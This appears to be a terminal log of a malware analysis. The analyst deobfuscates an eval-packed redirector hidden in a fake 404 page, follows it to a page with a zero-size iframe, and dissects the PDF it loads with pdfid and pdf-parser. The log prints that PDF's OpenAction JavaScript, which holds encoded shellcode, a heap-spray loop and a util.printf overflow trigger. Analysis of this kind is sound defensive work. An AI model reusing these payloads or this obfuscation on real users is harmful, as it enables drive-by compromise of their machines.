
% ls
eval.js

% cat eval.js 
old_eval = eval;
eval = function(arg0) {

print("=>" + arg0 + "\n");
old_eval(arg0);

}

% wget http://localhost/mal/
--2010-05-13 10:44:21--  http://localhost/mal/
Translacja localhost... 127.0.0.1
Łączenie się z localhost|127.0.0.1|:80... połączono.
Żądanie HTTP wysłano, oczekiwanie na odpowiedź... 200 OK
Długość: 3950 (3,9K) [text/html]
Zapis do: `index.html'

100%[======================================================================================================================================>] 3.950       --.-K/s   w  0s      

2010-05-13 10:44:21 (526 MB/s) - zapisano `index.html' [3950/3950]

% file index.html 
index.html: HTML document text

% cat index.html 
<html>
<head>
<script>
eval('\x76\x61\x72\x20\x5f\x30\x78\x38\x62\x32\x35\x3d\x5b\x22\x5c\x78\x33\x30\x5c\x78\x32\x45\x5c\x78\x33\x31\x5c\x78\x33\x44\x5c\x78\x32\x32\x5c\x78\x33\x32\x5c
\x78\x33\x41\x5c\x78\x32\x46\x5c\x78\x32\x46\x5c\x78\x33\x33\x5c\x78\x32\x45\x5c\x78\x33\x34\x5c\x78\x32\x46\x5c\x78\x33\x35\x5c\x78\x32\x46\x5c\x78\x33\x36\x5c\x78\x32\x45\x5c
\x78\x33\x37\x5c\x78\x32\x32\x5c\x78\x33\x42\x22\x2c\x22\x5c\x78\x37\x43\x22\x2c\x22\x5c\x78\x37\x33\x5c\x78\x37\x30\x5c\x78\x36\x43\x5c\x78\x36\x39\x5c\x78\x37\x34\x22\x2c
\x22\x5c\x78\x37\x37\x5c\x78\x36\x39\x5c\x78\x36\x45\x5c\x78\x36\x34\x5c\x78\x36\x46\x5c\x78\x37\x37\x5c\x78\x37\x43\x5c\x78\x36\x43\x5c\x78\x36\x46\x5c\x78\x36\x33\x5c
\x78\x36\x31\x5c\x78\x37\x34\x5c\x78\x36\x39\x5c\x78\x36\x46\x5c\x78\x36\x45\x5c\x78\x37\x43\x5c\x78\x36\x38\x5c\x78\x37\x34\x5c\x78\x37\x34\x5c\x78\x37\x30\x5c\x78\x37\x43\x5c
\x78\x36\x44\x5c\x78\x36\x31\x5c\x78\x36\x43\x5c\x78\x37\x37\x5c\x78\x36\x31\x5c\x78\x37\x32\x5c\x78\x36\x35\x5c\x78\x37\x43\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x39\x5c
\x78\x36\x43\x5c\x78\x37\x43\x5c\x78\x37\x33\x5c\x78\x36\x46\x5c\x78\x33\x31\x5c\x78\x33\x33\x5c\x78\x33\x31\x5c\x78\x37\x43\x5c\x78\x37\x33\x5c\x78\x36\x46\x5c\x78\x37\x43\x5c
\x78\x36\x38\x5c\x78\x37\x34\x5c\x78\x36\x44\x5c\x78\x36\x43\x22\x2c\x22\x5c\x78\x37\x32\x5c\x78\x36\x35\x5c\x78\x37\x30\x5c\x78\x36\x43\x5c\x78\x36\x31\x5c\x78\x36\x33\x5c
\x78\x36\x35\x22\x2c\x22\x22\x2c\x22\x5c\x78\x35\x43\x5c\x78\x37\x37\x5c\x78\x32\x42\x22\x2c\x22\x5c\x78\x35\x43\x5c\x78\x36\x32\x22\x2c\x22\x5c\x78\x36\x37\x22\x5d\x3b
\x65\x76\x61\x6c\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x28\x5f\x30\x78\x63\x63\x35\x37\x78\x31\x2c\x5f\x30\x78\x63\x63\x35\x37\x78\x32\x2c\x5f
\x30\x78\x63\x63\x35\x37\x78\x33\x2c\x5f\x30\x78\x63\x63\x35\x37\x78\x34\x2c\x5f\x30\x78\x63\x63\x35\x37\x78\x35\x2c\x5f\x30\x78\x63\x63\x35\x37\x78\x36\x29\x7b\x5f
\x30\x78\x63\x63\x35\x37\x78\x35\x3d\x53\x74\x72\x69\x6e\x67\x3b\x69\x66\x28\x21\x5f\x30\x78\x38\x62\x32\x35\x5b\x35\x5d\x5b\x5f\x30\x78\x38\x62\x32\x35\x5b\x34\x5d\x5d\x28\x2f
\x5e\x2f\x2c\x53\x74\x72\x69\x6e\x67\x29\x29\x7b\x77\x68\x69\x6c\x65\x28\x5f\x30\x78\x63\x63\x35\x37\x78\x33\x2d\x2d\x29\x7b\x5f\x30\x78\x63\x63\x35\x37\x78\x36\x5b\x5f
\x30\x78\x63\x63\x35\x37\x78\x33\x5d\x3d\x5f\x30\x78\x63\x63\x35\x37\x78\x34\x5b\x5f\x30\x78\x63\x63\x35\x37\x78\x33\x5d\x7c\x7c\x5f\x30\x78\x63\x63\x35\x37\x78\x33\x3b\x7d
\x20\x3b\x5f\x30\x78\x63\x63\x35\x37\x78\x34\x3d\x5b\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x28\x5f\x30\x78\x63\x63\x35\x37\x78\x35\x29\x7b\x72\x65\x74\x75\x72\x6e\x20\x5f
\x30\x78\x63\x63\x35\x37\x78\x36\x5b\x5f\x30\x78\x63\x63\x35\x37\x78\x35\x5d\x3b\x7d\x20\x5d\x3b\x5f\x30\x78\x63\x63\x35\x37\x78\x35\x3d\x66\x75\x6e\x63\x74\x69\x6f\x6e
\x20\x28\x29\x7b\x72\x65\x74\x75\x72\x6e\x20\x5f\x30\x78\x38\x62\x32\x35\x5b\x36\x5d\x3b\x7d\x20\x3b\x5f\x30\x78\x63\x63\x35\x37\x78\x33\x3d\x31\x3b\x7d\x20\x3b\x77\x68\x69\x6c
\x65\x28\x5f\x30\x78\x63\x63\x35\x37\x78\x33\x2d\x2d\x29\x7b\x69\x66\x28\x5f\x30\x78\x63\x63\x35\x37\x78\x34\x5b\x5f\x30\x78\x63\x63\x35\x37\x78\x33\x5d\x29\x7b\x5f
\x30\x78\x63\x63\x35\x37\x78\x31\x3d\x5f\x30\x78\x63\x63\x35\x37\x78\x31\x5b\x5f\x30\x78\x38\x62\x32\x35\x5b\x34\x5d\x5d\x28\x20\x6e\x65\x77\x20\x52\x65\x67\x45\x78\x70\x28\x5f
\x30\x78\x38\x62\x32\x35\x5b\x37\x5d\x2b\x5f\x30\x78\x63\x63\x35\x37\x78\x35\x28\x5f\x30\x78\x63\x63\x35\x37\x78\x33\x29\x2b\x5f\x30\x78\x38\x62\x32\x35\x5b\x37\x5d\x2c\x5f
\x30\x78\x38\x62\x32\x35\x5b\x38\x5d\x29\x2c\x5f\x30\x78\x63\x63\x35\x37\x78\x34\x5b\x5f\x30\x78\x63\x63\x35\x37\x78\x33\x5d\x29\x3b\x7d\x20\x3b\x7d\x20\x3b
\x72\x65\x74\x75\x72\x6e\x20\x5f\x30\x78\x63\x63\x35\x37\x78\x31\x3b\x7d\x20\x28\x5f\x30\x78\x38\x62\x32\x35\x5b\x30\x5d\x2c\x38\x2c\x38\x2c\x5f\x30\x78\x38\x62\x32\x35\x5b
\x33\x5d\x5b\x5f\x30\x78\x38\x62\x32\x35\x5b\x32\x5d\x5d\x28\x5f\x30\x78\x38\x62\x32\x35\x5b\x31\x5d\x29\x2c\x30\x2c\x7b\x7d\x29\x29\x3b');
</script>
</head>
<body>
<h1> 404 Not Found</h1>
</body>
</html>

% grep eval index.html > mal.js

% js -f eval.js mal.js 
=>var _0x8b25=["\x30\x2E\x31\x3D\x22\x32\x3A\x2F\x2F\x33\x2E\x34\x2F\x35\x2F\x36\x2E\x37\x22\x3B","\x7C","\x73\x70\x6C\x69\x74","\x77\x69\x6E\x64\x6F\x77\x7C\x6C\x6F
\x63\x61\x74\x69\x6F\x6E\x7C\x68\x74\x74\x70\x7C\x6D\x61\x6C\x77\x61\x72\x65\x7C\x65\x76\x69\x6C\x7C\x73\x6F\x31\x33\x31\x7C\x73\x6F\x7C\x68\x74\x6D\x6C","\x72\x65\x70\x6C
\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xcc57x1,_0xcc57x2,_0xcc57x3,_0xcc57x4,_0xcc57x5,_0xcc57x6){_0xcc57x5=String;if(!_0x8b25[5][_0x8b25[4]](/
^/,String)){while(_0xcc57x3--){_0xcc57x6[_0xcc57x3]=_0xcc57x4[_0xcc57x3]||_0xcc57x3;} ;_0xcc57x4=[function (_0xcc57x5){return _0xcc57x6[_0xcc57x5];} ];_0xcc57x5=function ()
{return _0x8b25[6];} ;_0xcc57x3=1;} ;while(_0xcc57x3--){if(_0xcc57x4[_0xcc57x3]){_0xcc57x1=_0xcc57x1[_0x8b25[4]]( new RegExp(_0x8b25[7]+_0xcc57x5(_0xcc57x3)+_0x8b25[7],_0x8b25
[8]),_0xcc57x4[_0xcc57x3]);} ;} ;return _0xcc57x1;} (_0x8b25[0],8,8,_0x8b25[3][_0x8b25[2]](_0x8b25[1]),0,{}));

=>window.location="http://malware.evil/so131/so.html";

eval.js:4: ReferenceError: window is not defined

% wget http://malware.evil/so131/so.html
--2010-05-13 11:45:28--  http://malware.evil/so131/so.html
Translacja malware.evil... 127.0.0.1
Łączenie się z malware.evil|127.0.0.1|:80... połączono.
Żądanie HTTP wysłano, oczekiwanie na odpowiedź... 200 OK
Długość: 112 [text/html]
Zapis do: `so.html'

100%[=======================================================================================================================================>] 112         --.-K/s   w  0s      

2010-05-13 11:45:29 (29,2 MB/s) - zapisano `so.html' [112/112]

% file so.html 
so.html: HTML document text

% cat so.html 
<html><head></head><body><h1>404 Not Found</h1><iframe width="0" height="0" src="e.pdf"></iframe></body></html>

% wget http://malware.evil/so131/e.pdf
--2010-05-13 11:45:44--  http://malware.evil/so131/e.pdf
Translacja malware.evil... 127.0.0.1
Łączenie się z malware.evil|127.0.0.1|:80... połączono.
Żądanie HTTP wysłano, oczekiwanie na odpowiedź... 200 OK
Długość: 6571 (6,4K) [application/pdf]
Zapis do: `e.pdf'

100%[=======================================================================================================================================>] 6.571       --.-K/s   w  0s      

2010-05-13 11:45:44 (662 MB/s) - zapisano `e.pdf' [6571/6571]

% file e.pdf 
e.pdf: PDF document, version 1.5

% ./pdfid.py -a e.pdf
PDFiD 0.0.11 /tmp/mal/e.pdf
 PDF Header: %PDF-1.5
 obj                    6
 endobj                 6
 stream                 1
 endstream              1
 xref                   1
 trailer                1 
 startxref              1 /d/
 /Page                  1(1)
 /Encrypt               0
 /ObjStm                0 
 /JS                    1
 /JavaScript            1(1)
 /AA                    0
 /OpenAction            1(1)
 /AcroForm              0
 /JBIG2Decode           0
 /RichMedia             0
 /Launch                0
  ...



% ./pdf-parser.py  -w -f -o 6 e.pdf 
obj 6 0
 Type: 
 Referencing: 
 Contains stream
 <</#4c#65#6eg#74#68 5784/F#69#6ct#65#72[/#46l#61t#65#44e#63#6f#64e/#41#53#43#49#49#48exD#65c#6f#64e]>>

 <<
   /Length 5784
   /Filter [
   /FlateDecode /ASCIIHexDecode]
 >>

 
var XizcDkETDN = unescape("%u3137%u42f8%ub99b%u782d%u487b%u7093%ue23b%ud40b%u8425%u3ff9%ubab4%u0471%ub52f%u339f%u7cf5%u1434%u7a4f%u3c4a

...
%u75a1%u72c0%u7951%u371b%u3061%u1e01%u9dea%u22d0%u1e77%u600f%u9d8e%u19a5%ubd75%u1ccc%u7931%u6d3d%uec2a%uc241%u254b");

var jjjeQCrEvKIn ="";
for (vnFoGbmiDVYLs=128;vnFoGbmiDVYLs>=0;--vnFoGbmiDVYLs) jjjeQCrEvKIn += unescape("%ub6f8%u37b2");
IOdjpbzciZoSnnkNapyoAIDAzHGlszbHgWcTdRuRhCGdzzytmRtmYAQoWCRjHBHEqfR = jjjeQCrEvKIn + XizcDkETDN;
...
util.printf("%45000.45000f", 0);

% head -n15 e.pdf
%PDF-1.5
%ůöĂ
1 0 obj<</T#79#70#65/C#61#74al#6fg/#4fu#74li#6ee#73 2 0 R/#50a#67e#73 3 0 R/#4f#70#65#6eAc#74i#6fn 5 0 R>>endobj
2 0 obj<</#54#79pe/Outl#69n#65s/C#6f#75#6et 0>>endobj
3 0 obj<</Ty#70e/#50a#67#65#73/Ki#64s[4 0 R]/#43#6fu#6e#74 1>>endobj
4 0 obj<</#54#79pe/Page/Par#65nt 3 0 R/#4d#65d#69#61B#6f#78[0 0 612 792]>>endobj
5 0 obj<</Type/#41#63#74ion/#53/J#61#76a#53#63rip#74/#4aS 6 0 R>>endobj
6 0 obj<</#4c#65n#67t#68 5739/Filter[/#46#6ca#74#65#44ec#6f#64e/AS#43#49#49Hex#44ec#6f#64#65]>>
stream
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% pdftk e.pdf output e.unc.pdf uncompress

% head -n40 e.unc.pdf
%PDF-1.5
%âăĎÓ
1 0 obj
<</Outlines 2 0 R
/OpenAction 3 0 R
/Pages 4 0 R
/Type /Catalog
>>
endobj
2 0 obj
<</Count 0
/Type /Outlines
>>
endobj
4 0 obj
<</Kids [5 0 R]
/Count 1
/Type /Pages
>>
endobj
5 0 obj
<</Parent 4 0 R
/MediaBox [0 0 612 792]
/pdftk_PageNum 1
/Type /Page
>>
endobj
3 0 obj
<</JS 6 0 R
/Type /Action
/S /JavaScript
>>
endobj
6 0 obj
<</Length 5523
>>
stream

var mDjyBFfTwELABkGThTYQiFBTapODGfyRCxZOexJOamQMfz = unescape("%uf846%u92f9%ufcd6%u93f5%u429f%u46f9%u27f5%u4ffc%u49f8%u97d6%u40f5%u41fc%u434e%u9b37%u979f
%uf593%u9842%u4bfd%u4399%uf590%u27d6%u4e3f%ufd98%u4a40%u2ff9%u9999%u42f9%u9192%u3f98%ufd2f%u9b46%u4843%u279b%ud6f5%ufc49%u4f4a%u2f9f%ufd99%u4641%u9147%u4197%u90f5%u4996%ufcfd
...
%u6786%u9fa9%u87f0%u203d%ude01%u2057%u8669%u7303%uc98c%ue79e%u5c1d%u5e20%uf7f1%u5c48%u3f2c%u9fd7%uc11b%u7624%u4762%ufc5c%u8b86");

var cJLnyMCjGaIxADHStRZbOMdJblA ="";


